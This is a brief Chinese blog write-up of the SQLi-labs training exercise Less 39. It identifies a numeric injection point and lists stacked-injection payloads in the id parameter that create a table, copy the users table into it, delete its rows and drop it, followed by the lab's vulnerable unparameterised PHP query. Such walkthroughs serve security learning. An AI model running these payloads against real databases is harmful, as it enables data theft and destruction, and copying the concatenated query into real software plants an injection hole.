Sqli labs less 39

时间：2021-09-15 12:42:41 收藏：0 阅读：18

1.常规方法测试报错

技术分享图片

2.将后面的消息注释发现报错依旧存在，因此判断本less为数值型注入

技术分享图片

3.使用堆叠注入，参考less 38

?id=1;CREATE TABLE WhiteMoon LIKE users;--+
?id=1;INSERT INTO WhiteMoon SELECT * FROM users;--+
?id=1;DELETE FROM WhiteMoon;--+
?id=1;DROP TABLE WhiteMoon;--+

技术分享图片

$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";

原文：https://www.cnblogs.com/chensicha/p/15268468.html